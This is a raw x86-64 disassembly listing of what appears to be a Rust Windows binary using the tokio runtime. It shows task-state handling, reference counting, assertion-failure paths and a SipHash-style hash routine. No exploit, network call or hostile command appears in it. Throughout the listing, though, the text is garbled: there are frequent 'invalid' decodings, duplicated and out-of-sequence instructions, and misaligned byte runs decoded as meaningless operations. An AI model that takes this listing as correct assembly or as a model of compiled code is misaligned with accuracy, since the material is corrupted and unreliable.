movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rax, [0x14014ed10]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rsi
lea rax, [rsp + 0x30]
and al, 0x30
and al, 0x30
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 0
add byte [rbx + 0xf0b307e], al
invalid
invalid
invalid
add byte [rax], al
add byte [rbx + 0xf0b307e], al
cmp dword [0x18806be13], 0xffffff8d
jle 0x14006be3f
lea rdi, [rsi + 0x30]
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x140182314]
add eax, 0x1164fb
add eax, 0x1164fb
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006be67
xorps xmm6, xmm6
test eax, eax
jne 0x14006be93
mov eax, dword [0x140182314]
add eax, 0x1164d5
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
xor al, 0xc1
xor al, 0xc1
lea rcx, [r14 + 0xd0]
lea ecx, [rsi + 0xd0]
mov ss, eax
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x781d6
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [r14 + 0x120], 1
and byte [rcx], al
add byte [rax], al
invalid
add byte [rcx - 0x3a], al
xchg byte [rax], ah
and byte [rcx], al
add byte [rax], al
invalid
and byte [rcx], al
add byte [rax], al
add dword [rbx + 0x1164a705], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
pop rax
add byte [rax], al
add byte [rax], al
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax], al
pop rax
add byte [rax], al
add byte [rax], al
mov rax, qword [rcx + rax*8]
add byte [rax], al
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
lea rdx, [rsp + 0x40]
lea edx, [rsp + 0x40]
mov rcx, rdi
call fcn.14006b900
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov edx, dword [0x58]
mov edx, dword [0x58]
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x120]
cmp ecx, 1
invalid
je 0x14006bef5
add dword [rsi + rsi - 0x7b], esi
leave
test ecx, ecx
jne 0x14006bf11
mov r9, qword [0x140182314]
mov ecx, dword [0x140182314]
or eax, 0x11644b
mov rdx, qword gs:[0x58]
mov r14, qword [rdx + rcx*8]
xor al, 0xca
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e4030]
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x7814c
mov ebx, eax
call fcn.1400d4720
add byte [rcx - 0x7939be28], cl
and byte [rcx], al
add byte [rax], al
invalid
add byte [rcx - 0x7939be28], cl
and byte [rcx], al
add byte [rax], al
add dword [rbx + 0x1164190d], ecx
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf0], xmm6
mov cl, 1
test al, al
je 0x14006c12a
ror byte [rdi], 0x84
adc dword [rdx], eax
add byte [rax], al
mov rcx, rsi
call fcn.1400e6c50
movzx eax, al
mov dh, 0xc0
mov dh, 0xc0
lea rcx, [0x140178594]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rcx, qword [rsi + 0x20]
add rcx, 0x10
mov rdx, rsi
mov r8b, 1
call fcn.1400ec490
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
invalid
cmp rax, 0x3f
jbe 0x14006c480
invalid
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x14006bf32.0
lea rcx, [rsi + 0x20]
lea ecx, [rsi + 0x20]
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x14006bf7d
call fcn.140068890
dec dword [rax - 0x77]
stc
mov rcx, rdi
jmp 0x14006bf99
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x14006bf95
lea rcx, [rsi + 0x20]
call fcn.140068890
lea rcx, [rsi + 0x30]
call fcn.14006cb70
add byte [rax], al
mov rax, qword [rsi + 0x1f8]
test rax, rax
je 0x14006bfb4
mov rcx, qword [rsi + 0x200]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp case.0x14006bf32.0
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006c023
xorps xmm6, xmm6
test eax, eax
jne 0x14006c04f
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.14006cb70
mov qword [rsi + 0x30], 0xc
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006c0b7
test eax, eax
jne 0x14006c2ea
mov eax, dword [0x140182314]
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea ecx, [rbx + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
mov rcx, rdi
call fcn.14006cb70
mov qword [rsi + 0x30], 0xb
mov qword [rsi + 0x38], 1
mov qword [rsi + 0x40], 0
mov qword [rsi + 0x50], rbx
jmp 0x14006c263
mov rbx, qword [rsi + 0x28]
cmp cl, 1
je 0x14006c16b
movzx eax, cl
xorps xmm6, xmm6
test eax, eax
jne 0x14006c197
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
add byte [rax], al
add byte [rax - 0x77], cl
cwde
clc
add byte [rax], al
add byte [rax - 0x77], cl
stc
add byte [rax], al
add byte [rax - 0x77], cl
cwde
clc
add byte [rax], al
add byte [rax - 0x77], cl
stc
call fcn.14006cb70
add byte [rax], al
mov qword [rdi], 0xc
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
invalid
invalid
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rcx + rax*8]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006c1fa
test eax, eax
jne 0x14006c335
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rbx, qword [rsi + 0x28]
mov ebx, dword [rsi + 0x28]
mov ebx, dword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax], al
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov al, pe_nt_image_headers64
add byte [rax], al
add byte [rax - 0x39], cl
xor al, 0
add byte [rax], al
add byte [rcx], al
add byte [rax], al
invalid
mov al, pe_nt_image_headers64
add byte [rax], al
add byte [rax - 0x39], cl
xor al, 0
add byte [rax], al
add byte [rcx], al
add byte [rax], al
invalid
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rax + 0xf8], rbx
mov rcx, rdi
mov qword [rax + 0xf8], rbx
mov rcx, rdi
call fcn.14006cb70
mov qword [rsi + 0x30], 0xb
xorps xmm0, xmm0
movups xmmword [rsi + 0x38], xmm0
mov qword [rsi + 0x48], 0
add byte [rax], al
invalid
add byte [rax], al
add byte [rbx + 0x1160ab05], cl
stosd dword [rdi], eax
invalid
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
stosd dword [rdi], eax
invalid
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
ror dword [rdi], 0xb6
and byte [rax], 1
add byte [rax], al
cmp eax, 1
je 0x14006c2b3
test eax, eax
jne 0x14006c2cd
invalid
mov r8d, dword [0x140182314]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e4030]
invalid
add al, ch
je 0x14006c22e
invalid
add dh, al
xchg dword [rax], esp
add dword [rax], eax
add byte [rcx], al
invalid
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax], al
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
ror dword [rdi], 0x11
mov al, pe_nt_image_headers64
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call fcn.14006cc60
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa8
pop rbx
pop rdi
pop rsi
pop r14
ret
and al, 0x90
add byte [rax], al
add byte [rax - 0x7f], cl
invalid
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je 0x14006c0d5
xorps xmm6, xmm6
test eax, eax
jne 0x14006c101
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rbx + rcx*4 + 0x34], cl
ror dword [rcx - 0x73], 0x8e
rol byte [rax], 1
add byte [rax], al
add byte [rbx + rcx*4 + 0x34], cl
ror dword [rcx - 0x73], 0x8e
rol byte [rax], 1
add byte [rax], al
lea rdx, [0x1400e4030]
call fcn.1400d4720
jge 0x14006c329
add al, ch
clc
add dword [rsi], 0
mov byte [r14 + 0x120], 1
mov byte [rsi + 0x120], 1
jmp 0x14006c0d5
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je 0x14006c218
invalid
invalid
invalid
xorps xmm6, xmm6
test eax, eax
jne 0x14006c244
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
add dword [rsi], 0
add dword [rsi], 0
mov byte [r14 + 0x120], 1
jmp 0x14006c218
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006c3d8
xorps xmm6, xmm6
test eax, eax
jne 0x14006c404
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [r14 + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
mov rcx, rdi
call fcn.14006cb70
mov qword [rdi], 0xc
jmp 0x14006c063
lea rcx, str.assertion_failed:_next.is_notified__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014e998]
mov edx, 0x24
call fcn.140108630
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014ecf8]
mov edx, 0x26
call fcn.140108630
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rsP
lea rcx, [rsp + 0x60]
call fcn.140108560
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ec30]
mov edx, 0x27
call fcn.140108630
int3
add rsp, 0x90
pop rbx
pop rdi
pop rsi
ret
add eax, 0xe1b9f
mov edx, 0x23
call fcn.140108630
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x14014ea58]
mov edx, 0x25
call fcn.140108630
invalid
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x28]
mov qword [rsp + 0x60], rax
lea rax, [fcn.140012cc0]
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rax
lea rax, str.current:___sub:_p
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 2
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 2
lea rdx, [0x14014eaa0]
lea rcx, [rsp + 0x30]
and al, 0x30
and al, 0x30
call fcn.140108560
lea rax, str.waker_missing
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rsP
lea rcx, [rsp + 0x30]
xor al, ch
invalid
mov dh, 9
add ah, cl
xor al, ch
and dh, byte [rsi - 0x3333fff7]
push r14
push rsi
push rdi
push rbx
sub rsp, 0xa8
test al, 0
add byte [rax], al
test al, 0
add byte [rax], al
movaps xmmword [rsp + 0x90], xmm6
mov rsi, rcx
mov rax, qword [rcx]
mov eax, dword [rcx]
mov eax, dword [rcx]
jmp 0x14006cf7a
mov rcx, rax
and rcx, 0xfffffffffffffff8
or rcx, 1
or ecx, 1
or ecx, 1
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
je 0x14006cfa5
test al, 4
je 0x14006d5f1
test al, 3
je 0x14006cf60
cmp rax, 0x3f
jbe 0x14006d609
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne 0x14006cf7a
movzx eax, dl
lea rcx, [0x1401785a4]
movsxd rax, dword [rcx + rax*4]
mov ch, 0x10
add byte [rax + 0x63], cl
add al, 0x81
add rax, rcx
jmp rax
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x38], rsi
lea rax, [rsp + 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x48], eax
mov dword [rsp + 0x48], eax
mov qword [rsp + 0x50], 0
cmp dword [rsi + 0x30], 0xb
jae 0x14006d621
lea rdi, [rsi + 0x30]
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
mov dh, 0x80
and byte [rcx], al
add byte [rax], al
cmp eax, 1
je 0x14006d047
xorps xmm6, xmm6
test eax, eax
jne 0x14006d073
mov eax, dword [0x140182314]
cmc
push rdx
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
ror dword [rcx - 0x73], 0x8e
rol byte [rax], 1
add byte [rax], al
ror dword [rcx - 0x73], 0x8e
rol byte [rax], 1
add byte [rax], al
lea rdx, [0x1400e4030]
lea edx, [0x1400e4030]
call fcn.1400d4720
mov byte [r14 + 0x120], 1
mov eax, dword [0x140182314]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
lea rdx, [rsp + 0x40]
push rsp
and al, 0x40
mov rcx, rdi
call fcn.14006b900
mov ecx, dword [0x140182314]
adc dword [rax], eax
adc dword [rax], eax
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
movzx ecx, byte [rcx + 0x120]
mov dh, 0x89
and byte [rcx], al
add byte [rax], al
cmp ecx, 1
je case.0x14005cc92.53
test ecx, ecx
jne 0x14006d0f1
mov ecx, dword [0x140182314]
or eax, 0x11526b
mov rdx, qword gs:[0x58]
mov r14, qword [rdx + rcx*8]
xor al, 0xca
xor al, 0xca
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e4030]
mov ebx, eax
call fcn.1400d4720
mov eax, ebx
mov byte [r14 + 0x120], 1
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf0], xmm6
lock add byte [rax], al
invalid
lock add byte [rax], al
add byte [rcx + 0xfc08401], dh
add byte [rax], al
mov cl, 1
test al, al
je 0x14006d303
test byte [rdx], cl
add al, byte [rax]
invalid
test byte [rdx], cl
add al, byte [rax]
add byte [rax - 0x77], cl
mov rcx, rsi
mov ecx, esi
int1
call fcn.1400e6c50
movzx eax, al
lea rcx, [0x1401785b4]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400eaa70
mov rax, 0xffffffffffffffc0
invalid
push rax
xadd qword [rsi], rax
invalid
cmp rax, 0x3f
jbe 0x14006d659
invalid
invalid
invalid
add byte [rax - 0x7d], cl
loopne 0x14006d0fa
and rax, 0xffffffffffffffc0
cmp rax, 0x40
cmp eax, 0x40
jne case.0x14006d112.0
lea rcx, [rsi + 0x20]
lea ecx, [rsi + 0x20]
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x14006d156
call fcn.140069420
dec dword [rax - 0x77]
stc
mov rcx, rdi
jmp 0x14006d172
call fcn.14006cb70
mov rax, qword [rsi + 0x1f8]
test rax, rax
je 0x14006d18d
mov rcx, qword [rsi + 0x200]
call qword [rax + 0x18]
mov es, word [rax]
add al, byte [rax]
add bh, bh
push rax
sbb byte [rbx + rcx*4 + 0x46], cl
clc
mov r8, qword [rsi - 8]
mov rcx, qword [0x140182260]
push rax
adc dword [rax], eax
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp case.0x14006d112.0
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
mov rcx, rdi
call fcn.14006cb70
mov qword [rsi + 0x30], 0xb
mov qword [rsi + 0x38], 1
mov qword [rsi + 0x40], 0
mov qword [rsi + 0x50], rbx
jmp 0x14006d43c
mov rbx, qword [rsi + 0x28]
cmp cl, 1
je 0x14006d344
movzx eax, cl
xorps xmm6, xmm6
test eax, eax
jne 0x14006d370
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [r14 + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
ror dword [rdi], 0x10
mov al, pe_nt_image_headers64
lock add byte [rax], al
add byte [rax - 0x39], cl
xor al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
retf 0x114f
ror dword [rdi], 0x10
mov al, pe_nt_image_headers64
lock add byte [rax], al
lock add byte [rax], al
add byte [rax - 0x39], cl
xor al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0xf8], rbx
mov dword [rax + 0xf8], ebx
add byte [rax], al
mov rcx, rdi
call fcn.14006cb70
mov qword [rdi], 0xc
add byte [rbx + 0x114f8f05], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rbx + 0x114f8f05], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006d3d3
test eax, eax
jne 0x14006d50e
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rbx + 0x120], 1
and byte [rcx], al
add byte [rax], al
invalid
and byte [rcx], al
add byte [rax], al
add dword [rbx + 0x114f3b05], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
pop rax
add byte [rax], al
invalid
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
invalid
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
adc byte [rax + 0xf0], dh
adc byte [rax + 0xf0], dh
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
clc
add byte [rax], al
add byte [rax - 0x77], cl
mov ecx, edi
clc
add byte [rax], al
add byte [rax - 0x77], cl
mov ecx, edi
mov ecx, edi
call fcn.14006cb70
mov qword [rsi + 0x30], 0xb
xorps xmm0, xmm0
push rdi
ror byte [rdi], 0x11
cmp byte [rax - 0x39], r9b
add byte [rax], al
add byte [rax], al
push rdi
ror byte [rdi], 0x11
cmp byte [rax - 0x39], r9b
add byte [rax], al
add byte [rax], al
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
ror byte [rsi + 0x11], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
ror dword [rdi], 0xb6
and byte [rax], 1
add byte [rax], al
cmp eax, 1
je 0x14006d48c
test eax, eax
jne 0x14006d4a6
invalid
mov r8d, dword [0x140182314]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rdi + 0x120], 1
invalid
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
invalid
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
ror dword [rdi], 0x11
mov al, pe_nt_image_headers64
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call fcn.14006dc70
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa8
pop rbx
pop rdi
pop rsi
pop r14
ret
add dword [rdi], ecx
test dh, bl
std
invalid
invalid
add byte [rbx + rcx*4 + 0x34], cl
ror dword [rcx - 0x73], 0x8e
rol byte [rax], 1
add byte [rax], al
lea rdx, [0x1400e4030]
imul eax, dword [rdi], 0
imul eax, dword [rdi], 0
call fcn.1400d4720
mov byte [r14 + 0x120], 1
jmp 0x14006d2ae
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je case.0x14005088a.93
xorps xmm6, xmm6
test eax, eax
jne 0x14006d41d
adc qword [r8], r8
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [r14 + 0x120], 1
jmp case.0x14005088a.93
lea rcx, str.assertion_failed:_next.is_notified__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014e998]
mov edx, 0x24
call fcn.140108630
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014ecf8]
mov edx, 0x26
call fcn.140108630
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rsP
lea rcx, [rsp + 0x60]
call fcn.140108560
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ec30]
mov edx, 0x27
call fcn.140108630
int3
mov ah, 0x89
stc
dec dword [rax - 0x75]
pop rsi
and byte [rax - 0x77], cl
pop rsp
and al, 0x28
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x28]
mov r8d, 8
call fcn.140007050
test rbx, rbx
je 0x14006e700
mov r14, qword [rsi + 0x18]
xor r15d, r15d
lea rsi, [rsp + 0x30]
lea rdi, [rsp + 0x28]
movzx eax, byte [r14 + r15]
lea ecx, [rax - 0x41]
cmp cl, 0x1a
setb cl
shl cl, 5
or cl, al
mov byte [rsp + 0x28], cl
mov r8d, 1
mov rcx, rsi
mov rdx, rdi
call fcn.140007050
inc r15
cmp rbx, r15
jne 0x14006e6d0
mov rcx, qword [rsp + 0x40]
mov r9, qword [rsp + 0x60]
shl r9, 0x38
or r9, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x30]
add rax, rcx
rol rcx, 0xd
xor rdx, r9
xor rcx, rax
rol rax, 0x20
mov r8, qword [rsp + 0x38]
add r8, rdx
rol rdx, 0x10
xor rdx, r8
add rax, rdx
rol rdx, 0x15
add r8, rcx
rol rcx, 0x11
xor rdx, rax
xor rcx, r8
rol r8, 0x20
xor rax, r9
add rax, rcx
rol rcx, 0xd
xor rcx, rax
rol rax, 0x20
xor r8, 0xff
add r8, rdx
rol rdx, 0x10
xor rdx, r8
add rax, rdx
rol rdx, 0x15
add r8, rcx
rol rcx, 0x11
xor rcx, r8
rol r8, 0x20
xor rdx, rax
add rax, rcx
rol rcx, 0xd
xor rcx, rax
rol rax, 0x20
add r8, rdx
rol rdx, 0x10
xor rdx, r8
add rax, rdx
rol rdx, 0x15
add r8, rcx
rol rcx, 0x11
xor rcx, r8
rol r8, 0x20
xor rdx, rax
add rax, rcx
rol rcx, 0xd
add r8, rdx
rol rdx, 0x10
xor rdx, r8
rol rdx, 0x15
xor rcx, rax
add r8, rcx
rol rcx, 0x11
mov rax, r8
rol rax, 0x20
xor rax, rcx
xor rax, rdx
xor rax, r8
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x1c8
mov qword [rsp + 0x180], r9
mov qword [rsp + 0x58], rdx
mov r10, rcx
mov qword [rsp + 0x60], r8
cmp byte [r8 + 0x10], 2
add cl, byte [rax - 0x77]
and al, 0x48
add cl, byte [rax - 0x77]
and al, 0x48
jne 0x14006ea55
cmp qword [r10 + 0x58], 0
je 0x14006ea55
jp 0x14006e894
add byte [rdi], cl
test byte [rdx], dl
add al, byte [rax]
add byte [rcx - 0x75], cl
invalid
mov rcx, qword [r10 + 0x60]
invalid
mov rdx, qword [r10 + 0x68]
mov rdi, qword [rsp + 0x58]
mov r8, rdi
mov rsi, r10
call fcn.14006e580
mov rcx, qword [rsi + 0x40]
mov rdx, qword [rsi + 0x48]
mov r9, rax
shr r9, 0x39
movd xmm0, r9d
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
movzx r8d, byte [rdi]
mov r9, qword [rdi + 8]
mov qword [rsp + 0x30], r9
movzx r9d, byte [rdi + 1]
mov byte [rsp + 0x70], r9b
mov rsi, qword [rdi + 0x18]
mov rdi, qword [rdi + 0x20]
xor r9d, r9d
mov qword [rsp + 0x50], r9
pcmpeqd xmm1, xmm1
mov dword [rsp + 0x68], r8d
and rax, rdx
movdqu xmm2, xmmword [rcx + rax]
sal bl, 1
movq mm2, qword [rcx + rax]
movdqa xmm3, xmm2
pcmpeqb xmm3, xmm0
pmovmskb ebp, xmm3
xlatb
jmp 0x14006e847
in eax, dx
jne 0x14006e91f
xlatb
jmp 0x14006e847
pcmpeqb xmm2, xmm1
pmovmskb ebx, xmm2
test ebx, ebx
mov r10, qword [rsp + 0x48]
jne 0x14006ea55
mov r9, qword [rsp + 0x50]
add rax, r9
add rax, 0x10
add r9, 0x10
mov qword [rsp + 0x50], r9
jmp 0x14006e8ad
test bl, bl
je 0x14006fc26
lea ebp, [r14 - 1]
and ebp, r14d
test bp, bp
mov rcx, rdx
mov rdx, r9
mov r8d, dword [rsp + 0x68]
je 0x14006e8c5
mov r14d, ebp
tzcnt ebx, r14d
add rbx, rax
mov r9, rdx
and rbx, rdx
neg rbx
lea rbx, [rbx + rbx*8]
mov rdx, rcx
lea r15, [rcx + rbx*8]
cmp r8d, 1
je 0x14006e9d0
cmp r8d, 2
jne 0x14006fc26
movzx ebx, byte [r15 - 0x48]
